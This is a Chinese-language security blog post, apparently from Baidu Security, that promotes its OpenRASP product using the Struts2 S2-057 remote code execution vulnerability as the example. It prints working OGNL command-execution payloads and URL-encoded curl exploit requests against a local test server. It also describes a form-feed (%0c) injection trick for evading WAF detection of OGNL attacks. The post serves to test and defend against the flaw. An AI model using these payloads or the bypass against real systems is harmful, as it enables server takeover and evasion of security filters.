OpenRASP是百度安全推出的一款开源、免费的自适应安全产品,目前与国际知名非盈利安全组织 OWASP(Open Web Application Security Project)达成深度合作,现已加入到OWASP全球技术项目中,在全球范围内进行大规模推广。OpenRASP将新兴的RASP(Runtime Application Self-Protection)安全防护技术普及化,使其迅速成为企业Web安全防护中的一个重要武器,有效增强防御体系纵深和对漏洞防护的适应能力。
本文介绍一种通用的Struts2漏洞检测绕过方法,以及如何通过OpenRASP免疫OGNL系列漏洞和未知反序列化漏洞。
S2-057
近日,Apache官方公布了一个Struts 2远程代码执行漏洞 - S2-057。即“It is possible to perform a RCEattack when namespace value isn't set for a result defined in underlying xmlconfigurations and in same time, its upper action(s) configurations have no orwildcard namespace. Same possibility when using url tag which doesn’t havevalue and action set and in same time, its upper action(s) configurations haveno or wildcard namespace.”。
目前,网上已有大量的文章对此S2-057进行了深入分析,我们不再赘述。详细分析可参考chybeta发布的【Struts2-代码执行漏洞分析系列】S2-057 文章。
漏洞PoC已经公开有3天,我们的防护措施是否已经能够抵御这种攻击了呢?
启动测试环境
我们使用struts2-showcase 2.3.20 版本进行测试,并尝试在tomcat上执行一条系统命令,”cp /etc/hosts /tmp”,并通过判断 /tmp/hosts是否存在来检查漏洞是否利用成功。
经过调试,以下payload可以在Linux系统上成功执行:
${(#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd={'/bin/bash','-c','cp/etc/hosts /tmp'},#p=new java.lang.ProcessBuilder(#cmd),#p.start())}
经过URL编码,最终的cURL利用语句如下 (更多信息请在 https://github.com/baidu-security/app-env-docker/tree/master/src/struts查看),
curl 'http://127.0.0.1/struts2-showcase/%24%7b(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%40java.lang.Runtime%40getRuntime().exec(%27cp%20/etc/hosts%20/tmp%27))%7d/actionChain1.action'
寻找绕过
经过对源代码的分析,我们发现OGNL在执行表达式时,会依次调用Ongl.parseExpression -> jj_consume_token来解析语句。在语法文件 ognl.jj 里,我们发现 OGNL 会忽略空格、\t、\f、\r、\n 等5种符号:
这意味着,如果我们在某两个token之间加入这些会被忽略的符号,OGNL语句依然能够执行。虽然不知道 \f 是什么,但是使用C语言打印后,发现是 0x0C,所以我们就用%0c来测试吧 :- )
我们随机的插入一些\f字符,发现可以执行:
curl 'http://127.0.0.1/struts2-showcase/%24%7b(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%40java.lang.%0CRuntime%40getRuntime%0C()%0C.exec(%27cp%20/etc/passwd%20/tmp%27))%7d/actionChain1.action'
OpenRASP 效果测试
我们在刚才的测试环境里,安装OpenRASP Java v0.40版本(2018.7.24 发布)。再次发送请求,我们发现这个请求被OpenRASP拦截,报警消息为 “Reflected command executionn – Using OGNL library”。
所以,OpenRASP在不更新检测算法的情况下,就可以防护上周刚刚爆出的 S2-057 漏洞。
结论
本文所提到的绕过,是针对OGNL语法解释器的,所以适合所有的Struts2 OGNL漏洞,影响很大。如果您使用商用WAF,需要尽快联系厂商更新防护规则并进行测试。如果你在使用开源或者自研的WAF,请尽快更新相应规则,并考虑各种绕过情况。
另外,我们建议你部署OpenRASP以免疫OGNL系列漏洞和未知反序列化漏洞。目前,已经有多家公司将OpenRASP部署到了生产环境并稳定运行,事实上百度自身就是OpenRASP的最大用户,具体部署方法请参考我们的官方文档。
*点击阅读原文进入OpenRASP官方网站
https://rasp.baidu.com/